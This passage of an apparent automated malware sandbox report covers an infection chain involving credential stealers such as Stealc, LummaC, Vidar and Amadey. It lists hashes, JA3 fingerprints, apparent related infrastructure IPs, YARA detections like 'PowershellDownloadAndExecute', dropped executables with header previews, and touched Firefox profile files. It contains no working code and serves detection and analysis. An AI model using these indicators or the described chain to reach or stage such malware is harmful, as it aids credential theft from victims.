	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	winzg.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.206.204
	winzg.exe	Get hash	malicious	Unknown	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Win32.RATX-gen.12409.6334.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	SecuriteInfo.com.Win32.MalwareX-gen.10154.29348.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
	file.exe	Get hash	malicious	LummaC	Browse	104.102.49.254 172.67.206.204
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Unknown	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1825792
Entropy (8bit):	7.946724914324684
Encrypted:	false
SSDEEP:	49152:gq2ANMQlW/+Mcg/dFscCRWbln0isnUU2UzFPqKkAQrU:92IMZGMj/fsVRmJw5yqIU
MD5:	3A3583CA7503B6EFFBFF20F498F3EBB4
SHA1:	43992582DE1E5BD313CC56E303BF433FEEDDC6A3
SHA-256:	078030AC66F4C1E89ADB7143358B316E27DC10EA0ABD5D5C7364FB6C2F0C8C3B
SHA-512:	B8AB3E676E07EBCE6DD0F7EC34C291BC981EE485A69A45013484578B189102561B51A36F3CD598B708494204D83BFA6047A9AF7BE8066A7281780B18F069A3B6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...njaoxwad.....PO..x...<..............@...wxwvdadu......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.52821248930643
Encrypted:	false
SSDEEP:	24576:/IOz/ElM7CcR/H3VUW6pXV/2R617p5VvKHk7Y77GfEHPcSBR5EqARZaniRTuCiOH:/ICcGecR/6XIYcX5EPKFzh1QcSejW
MD5:	DF1B115CEEEB801E6987B690BE5DE396
SHA1:	FDE13AD5DCA46DFB75934D89A90467D42C177472
SHA-256:	BD9DB41E76C3C708F9FD9BAD467D5C1F07E564CD419DCD07EDAA11FAB56DF9CD
SHA-512:	86A4CDA2C023FFDFCD34796346446B320034835ECB59C6FCD4CFA59D025D105AF4D1F45269EECC978BB4DCEE390CA8494EC08008C2EA7C821B4A8C22F0A24305
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................01...........@..........................`1......w....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...hinhbduz. +.......+..p..............@...spippvyb..... 1.......-.............@....taggant.0...01.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584669358709683
Encrypted:	false
SSDEEP:	12288:EqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tf:EqDEvCTbMWu7rQYlBQcBiT6rprG8abf
MD5:	F354EF86B6AD1E5D6BA590A198827066
SHA1:	5E88C09AD37DB4BD05FC8754555367A52402D178
SHA-256:	755A7E72CEBEEF8193EA2FBE1BF6ADAB6A626C64FE0A80A3B1171FA75DDB8938
SHA-512:	BE81D1E212A23A0BCCF6F317F0CE916B39EC7BB2D0308A8FA88C12680129B8E9C64AC337C56F989935F9642AB2A13082F1152E363A214FE488A7B61DB5ABB661
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...p..g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000976001\976d9f40c1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2994688
Entropy (8bit):	6.52821248930643
Encrypted:	false
SSDEEP:	24576:/IOz/ElM7CcR/H3VUW6pXV/2R617p5VvKHk7Y77GfEHPcSBR5EqARZaniRTuCiOH:/ICcGecR/6XIYcX5EPKFzh1QcSejW
MD5:	DF1B115CEEEB801E6987B690BE5DE396
SHA1:	FDE13AD5DCA46DFB75934D89A90467D42C177472
SHA-256:	BD9DB41E76C3C708F9FD9BAD467D5C1F07E564CD419DCD07EDAA11FAB56DF9CD
SHA-512:	86A4CDA2C023FFDFCD34796346446B320034835ECB59C6FCD4CFA59D025D105AF4D1F45269EECC978BB4DCEE390CA8494EC08008C2EA7C821B4A8C22F0A24305
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 42%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f.............................01...........@..........................`1......w....@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...hinhbduz. +.......+..p..............@...spippvyb..... 1.......-.............@....taggant.0...01.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000977001\606f2f6db0.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1825792
Entropy (8bit):	7.946724914324684
Encrypted:	false
SSDEEP:	49152:gq2ANMQlW/+Mcg/dFscCRWbln0isnUU2UzFPqKkAQrU:92IMZGMj/fsVRmJw5yqIU
MD5:	3A3583CA7503B6EFFBFF20F498F3EBB4
SHA1:	43992582DE1E5BD313CC56E303BF433FEEDDC6A3
SHA-256:	078030AC66F4C1E89ADB7143358B316E27DC10EA0ABD5D5C7364FB6C2F0C8C3B
SHA-512:	B8AB3E676E07EBCE6DD0F7EC34C291BC981EE485A69A45013484578B189102561B51A36F3CD598B708494204D83BFA6047A9AF7BE8066A7281780B18F069A3B6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...njaoxwad.....PO..x...<..............@...wxwvdadu......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000978001\2d569de7b1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584669358709683
Encrypted:	false
SSDEEP:	12288:EqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/Tf:EqDEvCTbMWu7rQYlBQcBiT6rprG8abf
MD5:	F354EF86B6AD1E5D6BA590A198827066
SHA1:	5E88C09AD37DB4BD05FC8754555367A52402D178
SHA-256:	755A7E72CEBEEF8193EA2FBE1BF6ADAB6A626C64FE0A80A3B1171FA75DDB8938
SHA-512:	BE81D1E212A23A0BCCF6F317F0CE916B39EC7BB2D0308A8FA88C12680129B8E9C64AC337C56F989935F9642AB2A13082F1152E363A214FE488A7B61DB5ABB661
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...p..g.........."..........X......w.............@..........................`............@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1000979001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000979001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\7RNKVR1EZ552XQ73.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1825792
Entropy (8bit):	7.946724914324684
Encrypted:	false
SSDEEP:	49152:gq2ANMQlW/+Mcg/dFscCRWbln0isnUU2UzFPqKkAQrU:92IMZGMj/fsVRmJw5yqIU
MD5:	3A3583CA7503B6EFFBFF20F498F3EBB4
SHA1:	43992582DE1E5BD313CC56E303BF433FEEDDC6A3
SHA-256:	078030AC66F4C1E89ADB7143358B316E27DC10EA0ABD5D5C7364FB6C2F0C8C3B
SHA-512:	B8AB3E676E07EBCE6DD0F7EC34C291BC981EE485A69A45013484578B189102561B51A36F3CD598B708494204D83BFA6047A9AF7BE8066A7281780B18F069A3B6
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......h...........@...........................i...........@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... .p)...%......:..............@...njaoxwad.....PO..x...<..............@...wxwvdadu......h.....................@....taggant.0....h.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\QDDSFWH7TPMYGYIMIOWX7SBOU5.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2850816
Entropy (8bit):	6.4664588616216365
Encrypted:	false
SSDEEP:	49152:KMROvGGPqoEr6EMWSiAjhLkQ65glWpco9XFPldpse:KdvGsq9+FWpAjhLkKWpcAvse
MD5:	88597591C774A2493FA0AC9983771095
SHA1:	9910729E648C85495121C6CBFDA9995A6B4A854E
SHA-256:	BABBD56FDA1FA4F562225C435E71A5FE5EEF4D53FD9FDCB5F85430B4647403F7
SHA-512:	1D6AB9DF7232878E11237EE266BFBD8B27BF5AADB8750FF233EF7498A6138D7DEB623A01131A2AF91C3DA4A8D5210F1218FE3AC9F1832267309F2386FD107DF8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...........z...................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P(,e.........."...0..$............+.. ...`....@.. ....................... ,.......+...`.................................U...i....`.............................................................................................................. . .@... ....... ..............@....rsrc........`.......2..............@....idata . ...........8..............@...ohppgexj. +...... +..:..............@...lrldjnhc. ....+......Z+.............@....taggant.@....+.."...^+.............@...................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926656
Entropy (8bit):	7.951068335097184
Encrypted:	false
SSDEEP:	49152:ryv0DcVhEs2unylpxNFBd+GZgd/qdnXOrZlCP2Z+jim:60Nunyfz5+GZ3neF
MD5:	25F36015A3A69B1E48DDE48C0257C315
SHA1:	68F1E6E1CF7B9772804285BF6CC185A4F3D3F18C
SHA-256:	CD149377E9B06B978EA53301646CC144B4823D2F47484B203FD648C1FC9A94A9
SHA-512:	5E688EACE1E02D4E953CFC63471B9B5293C9D14FE405F9EFFF51EB0B974E9A6681A3B9E5F547AC0D6092C606A144F3CB5CEDF9EAA2C344BC179117CBCFC6C39F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L...........@.................................W...k............................8L.............................X8L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...ptpgbbgo.P....1..J..................@...epijyeip.....@L......>..............@....taggant.0...PL.."...D..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\S14AV77TIR9DRWSCWIW0.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1926656
Entropy (8bit):	7.951068335097184
Encrypted:	false
SSDEEP:	49152:ryv0DcVhEs2unylpxNFBd+GZgd/qdnXOrZlCP2Z+jim:60Nunyfz5+GZ3neF
MD5:	25F36015A3A69B1E48DDE48C0257C315
SHA1:	68F1E6E1CF7B9772804285BF6CC185A4F3D3F18C
SHA-256:	CD149377E9B06B978EA53301646CC144B4823D2F47484B203FD648C1FC9A94A9
SHA-512:	5E688EACE1E02D4E953CFC63471B9B5293C9D14FE405F9EFFF51EB0B974E9A6681A3B9E5F547AC0D6092C606A144F3CB5CEDF9EAA2C344BC179117CBCFC6C39F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................PL...........@...........................L...........@.................................W...k............................8L.............................X8L..................................................... . ............................@....rsrc...............................@....idata ............................@... .@+.........................@...ptpgbbgo.P....1..J..................@...epijyeip.....@L......>..............@....taggant.0...PL.."...D..............@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\mozilla-temp-files\mozilla-temp-41

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	ISO Media, MP4 Base Media v1 [ISO 14496-12:2003]
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.4593089050301797
Encrypted:	false
SSDEEP:	48:9SP0nUgwyZXYI65yFRX2D3GNTTfyn0Mk1iA:9SDKaIjo3UzyE1L
MD5:	D910AD167F0217587501FDCDB33CC544
SHA1:	2F57441CEFDC781011B53C1C5D29AC54835AFC1D
SHA-256:	E3699D9404A3FFC1AFF0CA8A3972DC0EF38BDAB927741E9F627C7C55CEA42E81
SHA-512:	F1871BF28FF25EE52BDB99C7A80AB715C7CAC164DCD2FD87E681168EE927FD2C5E80E03C91BB638D955A4627213BF575FF4D9EECAEDA7718C128CF2CE8F7CB3D
Malicious:	false
Preview:	... ftypisom....isomiso2avc1mp41....free....mdat..........E...H..,. .#..x264 - core 152 r2851 ba24899 - H.264/MPEG-4 AVC codec - Copyleft 2003-2017 - http://www.videolan.org/x264.html - options: cabac=1 ref=3 deblock=1:0:0 analyse=0x3:0x113 me=hex subme=7 psy=1 psy_rd=1.00:0.00 mixed_ref=1 me_range=16 chroma_me=1 trellis=1 8x8dct=1 cqm=0 deadzone=21,11 fast_pskip=1 chroma_qp_offset=-2 threads=4 lookahead_threads=1 sliced_threads=0 nr=0 decimate=1 interlaced=0 bluray_compat=0 constrained_intra=0 bframes=3 b_pyramid=2 b_adapt=1 b_bias=0 direct=1 weightb=1 open_gop=0 weightp=2 keyint=250 keyint_min=25 scenecut=40 intra_refresh=0 rc_lookahead=40 rc=crf mbtree=1 crf=23.0 qcomp=0.60 qpmin=0 qpmax=69 qpstep=4 ip_ratio=1.40 aq=1:1.00......e...+...s\|.kG3...'.u.."...,J.w.~.d\..(K....!.+..;....h....(.T.*...M......0..~L..8..B..A.y..R..,.zBP.';j.@.].w..........c......C=.'f....gI.$^.......m5V.L...{U..%V[....8......B..i..^,....:...,..5.m.%dA....moov...lmvhd...................(...........

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\compatibility.ini

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	Windows WIN.INI
Category:	dropped
Size (bytes):	200
Entropy (8bit):	5.391255133360986
Encrypted:	false
SSDEEP:	3:tZAQUsjcmktYWwktUp/UNE2aT/P4WX1rDZjrEFwHQ3ZjrEFwslyy:JWtYWXtUp8babN1rDVEFycVEFL
MD5:	3FB561547A46AF02D6B00F86DC370634
SHA1:	914867E4C763611B441835A3FC0082359FBF7277
SHA-256:	5393F0E8D90EE6A26EAC13B81B83EDC0637487B3E427175021D7EC4CDE8E34A7
SHA-512:	0E05486A6B6AD65D3A95FCFE46BE6687DD47E311374F11DE89F9CFB8C301951D6BFE43FA24851A3E759B6F8AF69A5F593568FB61F576AB52941F6B2B6EE54BC8
Malicious:	false
Preview:	[Compatibility]..LastVersion=118.0.1_20230927232528/20230927232528..LastOSABI=WINNT_x86_64-msvc..LastPlatformDir=C:\Program Files\Mozilla Firefox..LastAppDir=C:\Program Files\Mozilla Firefox\browser..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 5, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 8, cookie 0x6, schema 4, largest root page 8, UTF-8, vacuum mode 1, version-valid-for 4
Category:	dropped
Size (bytes):	262144
Entropy (8bit):	0.04905141882491872
Encrypted:	false
SSDEEP:	24:DLSvwae+Q8Uu50xj0aWe9LxYkKA25Q5tvAA:DKwae+QtMImelekKDa5
MD5:	8736A542C5564A922C47B19D9CC5E0F2
SHA1:	CE9D58967DA9B5356D6C1D8A482F9CE74DA9097A
SHA-256:	97CE5D8AFBB0AA610219C4FAC3927E32C91BFFD9FD971AF68C718E7B27E40077
SHA-512:	99777325893DC7A95FD49B2DA18D32D65F97CC7A8E482D78EDC32F63245457FA5A52750800C074D552D20B6A215604161FDC88763D93C76A8703470C3064196B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......\|....~.}.}z}-\|.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite-shm

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite

Download File

Process:	C:\Program Files\Mozilla Firefox\firefox.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, file counter 4, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 4
Category:	modified
Size (bytes):	98304
Entropy (8bit):	0.07332591664048393
Encrypted:	false
SSDEEP:	12:DBl/A0OWla0mwPxRymgObsCVR45wcYR4fmnsCVR4zkiybw:DLhesh7Owd4+ji
MD5:	E3D7F93A4058A530F886F2B925F4C160
SHA1:	B3A657E07C0CE1ECDD68247C4EDD1D95ADEB70CF
SHA-256:	0E36BA3A7A031BDF888FEDBB36E648E7AC0B6AA64FBCAB937C157FC34DCAA549
SHA-512:	BBAC3C1A6EA63AD8AC9FAC52BC964EEA6D4327199E695118DCED634B202D5FCDCB8B0A8F617153A8858586C8EC787D768E3F72F9F54EA85C60BFD966642FC644
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......~s..F~s........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

